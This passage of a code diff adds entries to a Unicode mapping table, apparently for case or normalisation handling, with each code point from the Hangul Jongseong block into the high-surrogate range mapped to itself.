+ ["\uD7D8", "\uD7D8"], /* HANGUL JONGSEONG RIEUL-MIEUM-HIEUH */
+ ["\uD7D9", "\uD7D9"], /* HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT */
+ ["\uD7DA", "\uD7DA"], /* HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH */
+ ["\uD7DB", "\uD7DB"], /* HANGUL JONGSEONG RIEUL-YESIEUNG */
+ ["\uD7DC", "\uD7DC"], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH */
+ ["\uD7DD", "\uD7DD"], /* HANGUL JONGSEONG KAPYEOUNRIEUL */
+ ["\uD7DE", "\uD7DE"], /* HANGUL JONGSEONG MIEUM-NIEUN */
+ ["\uD7DF", "\uD7DF"], /* HANGUL JONGSEONG MIEUM-SSANGNIEUN */
+ ["\uD7E0", "\uD7E0"], /* HANGUL JONGSEONG SSANGMIEUM */
+ ["\uD7E1", "\uD7E1"], /* HANGUL JONGSEONG MIEUM-PIEUP-SIOS */
+ ["\uD7E2", "\uD7E2"], /* HANGUL JONGSEONG MIEUM-CIEUC */
+ ["\uD7E3", "\uD7E3"], /* HANGUL JONGSEONG PIEUP-TIKEUT */
+ ["\uD7E4", "\uD7E4"], /* HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH */
+ ["\uD7E5", "\uD7E5"], /* HANGUL JONGSEONG PIEUP-MIEUM */
+ ["\uD7E6", "\uD7E6"], /* HANGUL JONGSEONG SSANGPIEUP */
+ ["\uD7E7", "\uD7E7"], /* HANGUL JONGSEONG PIEUP-SIOS-TIKEUT */
+ ["\uD7E8", "\uD7E8"], /* HANGUL JONGSEONG PIEUP-CIEUC */
+ ["\uD7E9", "\uD7E9"], /* HANGUL JONGSEONG PIEUP-CHIEUCH */
+ ["\uD7EA", "\uD7EA"], /* HANGUL JONGSEONG SIOS-MIEUM */
+ ["\uD7EB", "\uD7EB"], /* HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP */
+ ["\uD7EC", "\uD7EC"], /* HANGUL JONGSEONG SSANGSIOS-KIYEOK */
+ ["\uD7ED", "\uD7ED"], /* HANGUL JONGSEONG SSANGSIOS-TIKEUT */
+ ["\uD7EE", "\uD7EE"], /* HANGUL JONGSEONG SIOS-PANSIOS */
+ ["\uD7EF", "\uD7EF"], /* HANGUL JONGSEONG SIOS-CIEUC */
+ ["\uD7F0", "\uD7F0"], /* HANGUL JONGSEONG SIOS-CHIEUCH */
+ ["\uD7F1", "\uD7F1"], /* HANGUL JONGSEONG SIOS-THIEUTH */
+ ["\uD7F2", "\uD7F2"], /* HANGUL JONGSEONG SIOS-HIEUH */
+ ["\uD7F3", "\uD7F3"], /* HANGUL JONGSEONG PANSIOS-PIEUP */
+ ["\uD7F4", "\uD7F4"], /* HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP */
+ ["\uD7F5", "\uD7F5"], /* HANGUL JONGSEONG YESIEUNG-MIEUM */
+ ["\uD7F6", "\uD7F6"], /* HANGUL JONGSEONG YESIEUNG-HIEUH */
+ ["\uD7F7", "\uD7F7"], /* HANGUL JONGSEONG CIEUC-PIEUP */
+ ["\uD7F8", "\uD7F8"], /* HANGUL JONGSEONG CIEUC-SSANGPIEUP */
+ ["\uD7F9", "\uD7F9"], /* HANGUL JONGSEONG SSANGCIEUC */
+ ["\uD7FA", "\uD7FA"], /* HANGUL JONGSEONG PHIEUPH-SIOS */
+ ["\uD7FB", "\uD7FB"], /* HANGUL JONGSEONG PHIEUPH-THIEUTH */
+ ["\uD7FC", "\uD7FC"],
+ ["\uD7FD", "\uD7FD"],
+ ["\uD7FE", "\uD7FE"],
+ ["\uD7FF", "\uD7FF"],
+ ["\uD800", "\uD800"], /* Non Private Use High Surrogate */
+ ["\uD801", "\uD801"], /* Non Private Use High Surrogate */
+ ["\uD802", "\uD802"], /* Non Private Use High Surrogate */
+ ["\uD803", "\uD803"], /* Non Private Use High Surrogate */
+ ["\uD804", "\uD804"], /* Non Private Use High Surrogate */
+ ["\uD805", "\uD805"], /* Non Private Use High Surrogate */
+ ["\uD806", "\uD806"], /* Non Private Use High Surrogate */
+ ["\uD807", "\uD807"], /* Non Private Use High Surrogate */
+ ["\uD808", "\uD808"], /* Non Private Use High Surrogate */
+ ["\uD809", "\uD809"], /* Non Private Use High Surrogate */
+ ["\uD80A", "\uD80A"], /* Non Private Use High Surrogate */
+ ["\uD80B", "\uD80B"], /* Non Private Use High Surrogate */
+ ["\uD80C", "\uD80C"], /* Non Private Use High Surrogate */
+ ["\uD80D", "\uD80D"], /* Non Private Use High Surrogate */
+ ["\uD80E", "\uD80E"], /* Non Private Use High Surrogate */
+ ["\uD80F", "\uD80F"], /* Non Private Use High Surrogate */
+ ["\uD810", "\uD810"], /* Non Private Use High Surrogate */
+ ["\uD811", "\uD811"], /* Non Private Use High Surrogate */
+ ["\uD812", "\uD812"], /* Non Private Use High Surrogate */
+ ["\uD813", "\uD813"], /* Non Private Use High Surrogate */
+ ["\uD814", "\uD814"], /* Non Private Use High Surrogate */
+ ["\uD815", "\uD815"], /* Non Private Use High Surrogate */
+ ["\uD816", "\uD816"], /* Non Private Use High Surrogate */
+ ["\uD817", "\uD817"], /* Non Private Use High Surrogate */
+ ["\uD818", "\uD818"], /* Non Private Use High Surrogate */
+ ["\uD819", "\uD819"], /* Non Private Use High Surrogate */
+ ["\uD81A", "\uD81A"], /* Non Private Use High Surrogate */
+ ["\uD81B", "\uD81B"], /* Non Private Use High Surrogate */
+ ["\uD81C", "\uD81C"], /* Non Private Use High Surrogate */
+ ["\uD81D", "\uD81D"], /* Non Private Use High Surrogate */
+ ["\uD81E", "\uD81E"], /* Non Private Use High Surrogate */
+ ["\uD81F", "\uD81F"], /* Non Private Use High Surrogate */
+ ["\uD820", "\uD820"], /* Non Private Use High Surrogate */
+ ["\uD821", "\uD821"], /* Non Private Use High Surrogate */
+ ["\uD822", "\uD822"], /* Non Private Use High Surrogate */
+ ["\uD823", "\uD823"], /* Non Private Use High Surrogate */
+ ["\uD824", "\uD824"], /* Non Private Use High Surrogate */
+ ["\uD825", "\uD825"], /* Non Private Use High Surrogate */
+ ["\uD826", "\uD826"], /* Non Private Use High Surrogate */
+ ["\uD827", "\uD827"], /* Non Private Use High Surrogate */
+ ["\uD828", "\uD828"], /* Non Private Use High Surrogate */
+ ["\uD829", "\uD829"], /* Non Private Use High Surrogate */
+ ["\uD82A", "\uD82A"], /* Non Private Use High Surrogate */
+ ["\uD82B", "\uD82B"], /* Non Private Use High Surrogate */
+ ["\uD82C", "\uD82C"], /* Non Private Use High Surrogate */
+ ["\uD82D", "\uD82D"], /* Non Private Use High Surrogate */
+ ["\uD82E", "\uD82E"], /* Non Private Use High Surrogate */
+ ["\uD82F", "\uD82F"], /* Non Private Use High Surrogate */
+ ["\uD830", "\uD830"], /* Non Private Use High Surrogate */
+ ["\uD831", "\uD831"], /* Non Private Use High Surrogate */
+ ["\uD832", "\uD832"], /* Non Private Use High Surrogate */
+ ["\uD833", "\uD833"], /* Non Private Use High Surrogate */
+ ["\uD834", "\uD834"], /* Non Private Use High Surrogate */
+ ["\uD835", "\uD835"], /* Non Private Use High Surrogate */
+ ["\uD836", "\uD836"], /* Non Private Use High Surrogate */
+ ["\uD837", "\uD837"], /* Non Private Use High Surrogate */
+ ["\uD838", "\uD838"], /* Non Private Use High Surrogate */
+ ["\uD839", "\uD839"], /* Non Private Use High Surrogate */
+ ["\uD83A", "\uD83A"], /* Non Private Use High Surrogate */
+ ["\uD83B", "\uD83B"], /* Non Private Use High Surrogate */
+ ["\uD83C", "\uD83C"], /* Non Private Use High Surrogate */
+ ["\uD83D", "\uD83D"], /* Non Private Use High Surrogate */
+ ["\uD83E", "\uD83E"], /* Non Private Use High Surrogate */
+ ["\uD83F", "\uD83F"], /* Non Private Use High Surrogate */
+ ["\uD840", "\uD840"], /* Non Private Use High Surrogate */
+ ["\uD841", "\uD841"], /* Non Private Use High Surrogate */
+ ["\uD842", "\uD842"], /* Non Private Use High Surrogate */
+ ["\uD843", "\uD843"], /* Non Private Use High Surrogate */
+ ["\uD844", "\uD844"], /* Non Private Use High Surrogate */
+ ["\uD845", "\uD845"], /* Non Private Use High Surrogate */
+ ["\uD846", "\uD846"], /* Non Private Use High Surrogate */
+ ["\uD847", "\uD847"], /* Non Private Use High Surrogate */
+ ["\uD848", "\uD848"], /* Non Private Use High Surrogate */
+ ["\uD849", "\uD849"], /* Non Private Use High Surrogate */
+ ["\uD84A", "\uD84A"], /* Non Private Use High Surrogate */
+ ["\uD84B", "\uD84B"], /* Non Private Use High Surrogate */
+ ["\uD84C", "\uD84C"], /* Non Private Use High Surrogate */
+ ["\uD84D", "\uD84D"], /* Non Private Use High Surrogate */
+ ["\uD84E", "\uD84E"], /* Non Private Use High Surrogate */
+ ["\uD84F", "\uD84F"], /* Non Private Use High Surrogate */
+ ["\uD850", "\uD850"], /* Non Private Use High Surrogate */
+ ["\uD851", "\uD851"], /* Non Private Use High Surrogate */
+ ["\uD852", "\uD852"], /* Non Private Use High Surrogate */
+ ["\uD853", "\uD853"], /* Non Private Use High Surrogate */
+ ["\uD854", "\uD854"], /* Non Private Use High Surrogate */
+ ["\uD855", "\uD855"], /* Non Private Use High Surrogate */
+ ["\uD856", "\uD856"], /* Non Private Use High Surrogate */
+ ["\uD857", "\uD857"], /* Non Private Use High Surrogate */
+ ["\uD858", "\uD858"], /* Non Private Use High Surrogate */
+ ["\uD859", "\uD859"], /* Non Private Use High Surrogate */
+ ["\uD85A", "\uD85A"], /* Non Private Use High Surrogate */
+ ["\uD85B", "\uD85B"], /* Non Private Use High Surrogate */
+ ["\uD85C", "\uD85C"], /* Non Private Use High Surrogate */
+ ["\uD85D", "\uD85D"], /* Non Private Use High Surrogate */
+ ["\uD85E", "\uD85E"], /* Non Private Use High Surrogate */
+ ["\uD85F", "\uD85F"], /* Non Private Use High Surrogate */
+ ["\uD860", "\uD860"], /* Non Private Use High Surrogate */
+ ["\uD861", "\uD861"], /* Non Private Use High Surrogate */
+ ["\uD862", "\uD862"], /* Non Private Use High Surrogate */
+ ["\uD863", "\uD863"], /* Non Private Use High Surrogate */
+ ["\uD864", "\uD864"], /* Non Private Use High Surrogate */
+ ["\uD865", "\uD865"], /* Non Private Use High Surrogate */
+ ["\uD866", "\uD866"], /* Non Private Use High Surrogate */
+ ["\uD867", "\uD867"], /* Non Private Use High Surrogate */
+ ["\uD868", "\uD868"], /* Non Private Use High Surrogate */
+ ["\uD869", "\uD869"], /* Non Private Use High Surrogate */
+ ["\uD86A", "\uD86A"], /* Non Private Use High Surrogate */
+ ["\uD86B", "\uD86B"], /* Non Private Use High Surrogate */
+ ["\uD86C", "\uD86C"], /* Non Private Use High Surrogate */
+ ["\uD86D", "\uD86D"], /* Non Private Use High Surrogate */
+ ["\uD86E", "\uD86E"], /* Non Private Use High Surrogate */
+ ["\uD86F", "\uD86F"], /* Non Private Use High Surrogate */
+ ["\uD870", "\uD870"], /* Non Private Use High Surrogate */
+ ["\uD871", "\uD871"], /* Non Private Use High Surrogate */
+ ["\uD872", "\uD872"], /* Non Private Use High Surrogate */
+ ["\uD873", "\uD873"], /* Non Private Use High Surrogate */
+ ["\uD874", "\uD874"], /* Non Private Use High Surrogate */
+ ["\uD875", "\uD875"], /* Non Private Use High Surrogate */
+ ["\uD876", "\uD876"], /* Non Private Use High Surrogate */
+ ["\uD877", "\uD877"], /* Non Private Use High Surrogate */
+ ["\uD878", "\uD878"], /* Non Private Use High Surrogate */
+ ["\uD879", "\uD879"], /* Non Private Use High Surrogate */
+ ["\uD87A", "\uD87A"], /* Non Private Use High Surrogate */
+ ["\uD87B", "\uD87B"], /* Non Private Use High Surrogate */
+ ["\uD87C", "\uD87C"], /* Non Private Use High Surrogate */
+ ["\uD87D", "\uD87D"], /* Non Private Use High Surrogate */
+ ["\uD87E", "\uD87E"], /* Non Private Use High Surrogate */
+ ["\uD87F", "\uD87F"], /* Non Private Use High Surrogate */
+ ["\uD880", "\uD880"], /* Non Private Use High Surrogate */
+ ["\uD881", "\uD881"], /* Non Private Use High Surrogate */
+ ["\uD882", "\uD882"], /* Non Private Use High Surrogate */
+ ["\uD883", "\uD883"], /* Non Private Use High Surrogate */
+ ["\uD884", "\uD884"], /* Non Private Use High Surrogate */
+ ["\uD885", "\uD885"], /* Non Private Use High Surrogate */
+ ["\uD886", "\uD886"], /* Non Private Use High Surrogate */
+ ["\uD887", "\uD887"], /* Non Private Use High Surrogate */
+ ["\uD888", "\uD888"], /* Non Private Use High Surrogate */
+ ["\uD889", "\uD889"], /* Non Private Use High Surrogate */
+ ["\uD88A", "\uD88A"], /* Non Private Use High Surrogate */
+ ["\uD88B", "\uD88B"], /* Non Private Use High Surrogate */
+ ["\uD88C", "\uD88C"], /* Non Private Use High Surrogate */
+ ["\uD88D", "\uD88D"], /* Non Private Use High Surrogate */
+ ["\uD88E", "\uD88E"], /* Non Private Use High Surrogate */
+ ["\uD88F", "\uD88F"], /* Non Private Use High Surrogate */
+ ["\uD890", "\uD890"], /* Non Private Use High Surrogate */
+ ["\uD891", "\uD891"], /* Non Private Use High Surrogate */
+ ["\uD892", "\uD892"], /* Non Private Use High Surrogate */
+ ["\uD893", "\uD893"], /* Non Private Use High Surrogate */
+ ["\uD894", "\uD894"], /* Non Private Use High Surrogate */
+ ["\uD895", "\uD895"], /* Non Private Use High Surrogate */
+ ["\uD896", "\uD896"], /* Non Private Use High Surrogate */
+ ["\uD897", "\uD897"], /* Non Private Use High Surrogate */
+ ["\uD898", "\uD898"], /* Non Private Use High Surrogate */
+ ["\uD899", "\uD899"], /* Non Private Use High Surrogate */
+ ["\uD89A", "\uD89A"], /* Non Private Use High Surrogate */
+ ["\uD89B", "\uD89B"], /* Non Private Use High Surrogate */
+ ["\uD89C", "\uD89C"], /* Non Private Use High Surrogate */
+ ["\uD89D", "\uD89D"], /* Non Private Use High Surrogate */
+ ["\uD89E", "\uD89E"], /* Non Private Use High Surrogate */
+ ["\uD89F", "\uD89F"], /* Non Private Use High Surrogate */
+ ["\uD8A0", "\uD8A0"], /* Non Private Use High Surrogate */
+ ["\uD8A1", "\uD8A1"], /* Non Private Use High Surrogate */
+ ["\uD8A2", "\uD8A2"], /* Non Private Use High Surrogate */
+ ["\uD8A3", "\uD8A3"], /* Non Private Use High Surrogate */
+ ["\uD8A4", "\uD8A4"], /* Non Private Use High Surrogate */
+ ["\uD8A5", "\uD8A5"], /* Non Private Use High Surrogate */
+ ["\uD8A6", "\uD8A6"], /* Non Private Use High Surrogate */
+ ["\uD8A7", "\uD8A7"], /* Non Private Use High Surrogate */
+ ["\uD8A8", "\uD8A8"], /* Non Private Use High Surrogate */
+ ["\uD8A9", "\uD8A9"], /* Non Private Use High Surrogate */
+ ["\uD8AA", "\uD8AA"], /* Non Private Use High Surrogate */
+ ["\uD8AB", "\uD8AB"], /* Non Private Use High Surrogate */
+ ["\uD8AC", "\uD8AC"], /* Non Private Use High Surrogate */
+ ["\uD8AD", "\uD8AD"], /* Non Private Use High Surrogate */
+ ["\uD8AE", "\uD8AE"], /* Non Private Use High Surrogate */
+ ["\uD8AF", "\uD8AF"], /* Non Private Use High Surrogate */
+ ["\uD8B0", "\uD8B0"], /* Non Private Use High Surrogate */
+ ["\uD8B1", "\uD8B1"], /* Non Private Use High Surrogate */
+ ["\uD8B2", "\uD8B2"], /* Non Private Use High Surrogate */
+ ["\uD8B3", "\uD8B3"], /* Non Private Use High Surrogate */
+ ["\uD8B4", "\uD8B4"], /* Non Private Use High Surrogate */
+ ["\uD8B5", "\uD8B5"], /* Non Private Use High Surrogate */
+ ["\uD8B6", "\uD8B6"], /* Non Private Use High Surrogate */
+ ["\uD8B7", "\uD8B7"], /* Non Private Use High Surrogate */
+ ["\uD8B8", "\uD8B8"], /* Non Private Use High Surrogate */
+ ["\uD8B9", "\uD8B9"], /* Non Private Use High Surrogate */
+ ["\uD8BA", "\uD8BA"], /* Non Private Use High Surrogate */
+ ["\uD8BB", "\uD8BB"], /* Non Private Use High Surrogate */
+ ["\uD8BC", "\uD8BC"], /* Non Private Use High Surrogate */
+ ["\uD8BD", "\uD8BD"], /* Non Private Use High Surrogate */
+ ["\uD8BE", "\uD8BE"], /* Non Private Use High Surrogate */
+ ["\uD8BF", "\uD8BF"], /* Non Private Use High Surrogate */
+ ["\uD8C0", "\uD8C0"], /* Non Private Use High Surrogate */
+ ["\uD8C1", "\uD8C1"], /* Non Private Use High Surrogate */
+ ["\uD8C2", "\uD8C2"], /* Non Private Use High Surrogate */
+ ["\uD8C3", "\uD8C3"], /* Non Private Use High Surrogate */
+ ["\uD8C4", "\uD8C4"], /* Non Private Use High Surrogate */
+ ["\uD8C5", "\uD8C5"], /* Non Private Use High Surrogate */
+ ["\uD8C6", "\uD8C6"], /* Non Private Use High Surrogate */
+ ["\uD8C7", "\uD8C7"], /* Non Private Use High Surrogate */
+ ["\uD8C8", "\uD8C8"], /* Non Private Use High Surrogate */
+ ["\uD8C9", "\uD8C9"], /* Non Private Use High Surrogate */
+ ["\uD8CA", "\uD8CA"], /* Non Private Use High Surrogate */
+ ["\uD8CB", "\uD8CB"], /* Non Private Use High Surrogate */
+ ["\uD8CC", "\uD8CC"], /* Non Private Use High Surrogate */
+ ["\uD8CD", "\uD8CD"], /* Non Private Use High Surrogate */
+ ["\uD8CE", "\uD8CE"], /* Non Private Use High Surrogate */
+ ["\uD8CF", "\uD8CF"], /* Non Private Use High Surrogate */
+ ["\uD8D0", "\uD8D0"], /* Non Private Use High Surrogate */
+ ["\uD8D1", "\uD8D1"], /* Non Private Use High Surrogate */
+ ["\uD8D2", "\uD8D2"], /* Non Private Use High Surrogate */
+ ["\uD8D3", "\uD8D3"], /* Non Private Use High Surrogate */
+ ["\uD8D4", "\uD8D4"], /* Non Private Use High Surrogate */
+ ["\uD8D5", "\uD8D5"], /* Non Private Use High Surrogate */
+ ["\uD8D6", "\uD8D6"], /* Non Private Use High Surrogate */
+ ["\uD8D7", "\uD8D7"], /* Non Private Use High Surrogate */
+ ["\uD8D8", "\uD8D8"], /* Non Private Use High Surrogate */
+ ["\uD8D9", "\uD8D9"], /* Non Private Use High Surrogate */
+ ["\uD8DA", "\uD8DA"], /* Non Private Use High Surrogate */
+ ["\uD8DB", "\uD8DB"], /* Non Private Use High Surrogate */
+ ["\uD8DC", "\uD8DC"], /* Non Private Use High Surrogate */
+ ["\uD8DD", "\uD8DD"], /* Non Private Use High Surrogate */
+ ["\uD8DE", "\uD8DE"], /* Non Private Use High Surrogate */
+ ["\uD8DF", "\uD8DF"], /* Non Private Use High Surrogate */
+ ["\uD8E0", "\uD8E0"], /* Non Private Use High Surrogate */
+ ["\uD8E1", "\uD8E1"], /* Non Private Use High Surrogate */
+ ["\uD8E2", "\uD8E2"], /* Non Private Use High Surrogate */
+ ["\uD8E3", "\uD8E3"], /* Non Private Use High Surrogate */
+ ["\uD8E4", "\uD8E4"], /* Non Private Use High Surrogate */
+ ["\uD8E5", "\uD8E5"], /* Non Private Use High Surrogate */
+ ["\uD8E6", "\uD8E6"], /* Non Private Use High Surrogate */
+ ["\uD8E7", "\uD8E7"], /* Non Private Use High Surrogate */
+ ["\uD8E8", "\uD8E8"], /* Non Private Use High Surrogate */
+ ["\uD8E9", "\uD8E9"], /* Non Private Use High Surrogate */
+ ["\uD8EA", "\uD8EA"], /* Non Private Use High Surrogate */
+ ["\uD8EB", "\uD8EB"], /* Non Private Use High Surrogate */
+ ["\uD8EC", "\uD8EC"], /* Non Private Use High Surrogate */
+ ["\uD8ED", "\uD8ED"], /* Non Private Use High Surrogate */
+ ["\uD8EE", "\uD8EE"], /* Non Private Use High Surrogate */
+ ["\uD8EF", "\uD8EF"], /* Non Private Use High Surrogate */
+ ["\uD8F0", "\uD8F0"], /* Non Private Use High Surrogate */
+ ["\uD8F1", "\uD8F1"], /* Non Private Use High Surrogate */
+ ["\uD8F2", "\uD8F2"], /* Non Private Use High Surrogate */
+ ["\uD8F3", "\uD8F3"], /* Non Private Use High Surrogate */
+ ["\uD8F4", "\uD8F4"], /* Non Private Use High Surrogate */
+ ["\uD8F5", "\uD8F5"], /* Non Private Use High Surrogate */
+ ["\uD8F6", "\uD8F6"], /* Non Private Use High Surrogate */
+ ["\uD8F7", "\uD8F7"], /* Non Private Use High Surrogate */
+ ["\uD8F8", "\uD8F8"], /* Non Private Use High Surrogate */
+ ["\uD8F9", "\uD8F9"], /* Non Private Use High Surrogate */
+ ["\uD8FA", "\uD8FA"], /* Non Private Use High Surrogate */
+ ["\uD8FB", "\uD8FB"], /* Non Private Use High Surrogate */
+ ["\uD8FC", "\uD8FC"], /* Non Private Use High Surrogate */
+ ["\uD8FD", "\uD8FD"], /* Non Private Use High Surrogate */
+ ["\uD8FE", "\uD8FE"], /* Non Private Use High Surrogate */
+ ["\uD8FF", "\uD8FF"], /* Non Private Use High Surrogate */
+ ["\uD900", "\uD900"], /* Non Private Use High Surrogate */
+ ["\uD901", "\uD901"], /* Non Private Use High Surrogate */
+ ["\uD902", "\uD902"], /* Non Private Use High Surrogate */
+ ["\uD903", "\uD903"], /* Non Private Use High Surrogate */
+ ["\uD904", "\uD904"], /* Non Private Use High Surrogate */
+ ["\uD905", "\uD905"], /* Non Private Use High Surrogate */
+ ["\uD906", "\uD906"], /* Non Private Use High Surrogate */
+ ["\uD907", "\uD907"], /* Non Private Use High Surrogate */
+ ["\uD908", "\uD908"], /* Non Private Use High Surrogate */
+ ["\uD909", "\uD909"], /* Non Private Use High Surrogate */
+ ["\uD90A", "\uD90A"], /* Non Private Use High Surrogate */
+ ["\uD90B", "\uD90B"], /* Non Private Use High Surrogate */
+ ["\uD90C", "\uD90C"], /* Non Private Use High Surrogate */
+ ["\uD90D", "\uD90D"], /* Non Private Use High Surrogate */
+ ["\uD90E", "\uD90E"], /* Non Private Use High Surrogate */
+ ["\uD90F", "\uD90F"], /* Non Private Use High Surrogate */
+ ["\uD910", "\uD910"], /* Non Private Use High Surrogate */
+ ["\uD911", "\uD911"], /* Non Private Use High Surrogate */
+ ["\uD912", "\uD912"], /* Non Private Use High Surrogate */
+ ["\uD913", "\uD913"], /* Non Private Use High Surrogate */
+ ["\uD914", "\uD914"], /* Non Private Use High Surrogate */
+ ["\uD915", "\uD915"], /* Non Private Use High Surrogate */
+ ["\uD916", "\uD916"], /* Non Private Use High Surrogate */
+ ["\uD917", "\uD917"], /* Non Private Use High Surrogate */
+ ["\uD918", "\uD918"], /* Non Private Use High Surrogate */
+ ["\uD919", "\uD919"], /* Non Private Use High Surrogate */
+ ["\uD91A", "\uD91A"], /* Non Private Use High Surrogate */
+ ["\uD91B", "\uD91B"], /* Non Private Use High Surrogate */
+ ["\uD91C", "\uD91C"], /* Non Private Use High Surrogate */
+ ["\uD91D", "\uD91D"], /* Non Private Use High Surrogate */
+ ["\uD91E", "\uD91E"], /* Non Private Use High Surrogate */
+ ["\uD91F", "\uD91F"], /* Non Private Use High Surrogate */
+ ["\uD920", "\uD920"], /* Non Private Use High Surrogate */
+ ["\uD921", "\uD921"], /* Non Private Use High Surrogate */
+ ["\uD922", "\uD922"], /* Non Private Use High Surrogate */
+ ["\uD923", "\uD923"], /* Non Private Use High Surrogate */
+ ["\uD924", "\uD924"], /* Non Private Use High Surrogate */
+ ["\uD925", "\uD925"], /* Non Private Use High Surrogate */
+ ["\uD926", "\uD926"], /* Non Private Use High Surrogate */
+ ["\uD927", "\uD927"], /* Non Private Use High Surrogate */
+ ["\uD928", "\uD928"], /* Non Private Use High Surrogate */
+ ["\uD929", "\uD929"], /* Non Private Use High Surrogate */
+ ["\uD92A", "\uD92A"], /* Non Private Use High Surrogate */
+ ["\uD92B", "\uD92B"], /* Non Private Use High Surrogate */
+ ["\uD92C", "\uD92C"], /* Non Private Use High Surrogate */
+ ["\uD92D", "\uD92D"], /* Non Private Use High Surrogate */
+ ["\uD92E", "\uD92E"], /* Non Private Use High Surrogate */
+ ["\uD92F", "\uD92F"], /* Non Private Use High Surrogate */
+ ["\uD930", "\uD930"], /* Non Private Use High Surrogate */
+ ["\uD931", "\uD931"], /* Non Private Use High Surrogate */
+ ["\uD932", "\uD932"], /* Non Private Use High Surrogate */
+ ["\uD933", "\uD933"], /* Non Private Use High Surrogate */
+ ["\uD934", "\uD934"], /* Non Private Use High Surrogate */
+ ["\uD935", "\uD935"], /* Non Private Use High Surrogate */
+ ["\uD936", "\uD936"], /* Non Private Use High Surrogate */
+ ["\uD937", "\uD937"], /* Non Private Use High Surrogate */
+ ["\uD938", "\uD938"], /* Non Private Use High Surrogate */
+ ["\uD939", "\uD939"], /* Non Private Use High Surrogate */
+ ["\uD93A", "\uD93A"], /* Non Private Use High Surrogate */
+ ["\uD93B", "\uD93B"], /* Non Private Use High Surrogate */
+ ["\uD93C", "\uD93C"], /* Non Private Use High Surrogate */
+ ["\uD93D", "\uD93D"], /* Non Private Use High Surrogate */
+ ["\uD93E", "\uD93E"], /* Non Private Use High Surrogate */
+ ["\uD93F", "\uD93F"], /* Non Private Use High Surrogate */
+ ["\uD940", "\uD940"], /* Non Private Use High Surrogate */
+ ["\uD941", "\uD941"], /* Non Private Use High Surrogate */
+ ["\uD942", "\uD942"], /* Non Private Use High Surrogate */
+ ["\uD943", "\uD943"], /* Non Private Use High Surrogate */
+ ["\uD944", "\uD944"], /* Non Private Use High Surrogate */
+ ["\uD945", "\uD945"], /* Non Private Use High Surrogate */
+ ["\uD946", "\uD946"], /* Non Private Use High Surrogate */
+ ["\uD947", "\uD947"], /* Non Private Use High Surrogate */
+ ["\uD948", "\uD948"], /* Non Private Use High Surrogate */
+ ["\uD949", "\uD949"], /* Non Private Use High Surrogate */
+ ["\uD94A", "\uD94A"], /* Non Private Use High Surrogate */
+ ["\uD94B", "\uD94B"], /* Non Private Use High Surrogate */
+ ["\uD94C", "\uD94C"], /* Non Private Use High Surrogate */
+ ["\uD94D", "\uD94D"], /* Non Private Use High Surrogate */
+ ["\uD94E", "\uD94E"], /* Non Private Use High Surrogate */
+ ["\uD94F", "\uD94F"], /* Non Private Use High Surrogate */
+ ["\uD950", "\uD950"], /* Non Private Use High Surrogate */
+ ["\uD951", "\uD951"], /* Non Private Use High Surrogate */
+ ["\uD952", "\uD952"], /* Non Private Use High Surrogate */
+ ["\uD953", "\uD953"], /* Non Private Use High Surrogate */
+ ["\uD954", "\uD954"], /* Non Private Use High Surrogate */
+ ["\uD955", "\uD955"], /* Non Private Use High Surrogate */
+ ["\uD956", "\uD956"], /* Non Private Use High Surrogate */
+ ["\uD957", "\uD957"], /* Non Private Use High Surrogate */
+ ["\uD958", "\uD958"], /* Non Private Use High Surrogate */
+ ["\uD959", "\uD959"], /* Non Private Use High Surrogate */
+ ["\uD95A", "\uD95A"], /* Non Private Use High Surrogate */
+ ["\uD95B", "\uD95B"], /* Non Private Use High Surrogate */
+ ["\uD95C", "\uD95C"], /* Non Private Use High Surrogate */
+ ["\uD95D", "\uD95D"], /* Non Private Use High Surrogate */
+ ["\uD95E", "\uD95E"], /* Non Private Use High Surrogate */
+ ["\uD95F", "\uD95F"], /* Non Private Use High Surrogate */
+ ["\uD960", "\uD960"], /* Non Private Use High Surrogate */
+ ["\uD961", "\uD961"], /* Non Private Use High Surrogate */
+ ["\uD962", "\uD962"], /* Non Private Use High Surrogate */
+ ["\uD963", "\uD963"], /* Non Private Use High Surrogate */
+ ["\uD964", "\uD964"], /* Non Private Use High Surrogate */
+ ["\uD965", "\uD965"], /* Non Private Use High Surrogate */
+ ["\uD966", "\uD966"], /* Non Private Use High Surrogate */
+ ["\uD967", "\uD967"], /* Non Private Use High Surrogate */
+ ["\uD968", "\uD968"], /* Non Private Use High Surrogate */
+ ["\uD969", "\uD969"], /* Non Private Use High Surrogate */
+ ["\uD96A", "\uD96A"], /* Non Private Use High Surrogate */
+ ["\uD96B", "\uD96B"], /* Non Private Use High Surrogate */
+ ["\uD96C", "\uD96C"], /* Non Private Use High Surrogate */
+ ["\uD96D", "\uD96D"], /* Non Private Use High Surrogate */
+ ["\uD96E", "\uD96E"], /* Non Private Use High Surrogate */
+ ["\uD96F", "\uD96F"], /* Non Private Use High Surrogate */
+ ["\uD970", "\uD970"], /* Non Private Use High Surrogate */
+ ["\uD971", "\uD971"], /* Non Private Use High Surrogate */
+ ["\uD972", "\uD972"], /* Non Private Use High Surrogate */
+ ["\uD973", "\uD973"], /* Non Private Use High Surrogate */
+ ["\uD974", "\uD974"], /* Non Private Use High Surrogate */
+ ["\uD975", "\uD975"], /* Non Private Use High Surrogate */
+ ["\uD976", "\uD976"], /* Non Private Use High Surrogate */
+ ["\uD977", "\uD977"], /* Non Private Use High Surrogate */
+ ["\uD978", "\uD978"], /* Non Private Use High Surrogate */
+ ["\uD979", "\uD979"], /* Non Private Use High Surrogate */
+ ["\uD97A", "\uD97A"], /* Non Private Use High Surrogate */
+ ["\uD97B", "\uD97B"], /* Non Private Use High Surrogate */
+ ["\uD97C", "\uD97C"], /* Non Private Use High Surrogate */
+ ["\uD97D", "\uD97D"], /* Non Private Use High Surrogate */
+ ["\uD97E", "\uD97E"], /* Non Private Use High Surrogate */
+ ["\uD97F", "\uD97F"], /* Non Private Use High Surrogate */
+ ["\uD980", "\uD980"], /* Non Private Use High Surrogate */
+ ["\uD981", "\uD981"], /* Non Private Use High Surrogate */
+ ["\uD982", "\uD982"], /* Non Private Use High Surrogate */
+ ["\uD983", "\uD983"], /* Non Private Use High Surrogate */
+ ["\uD984", "\uD984"], /* Non Private Use High Surrogate */
+ ["\uD985", "\uD985"], /* Non Private Use High Surrogate */
+ ["\uD986", "\uD986"], /* Non Private Use High Surrogate */
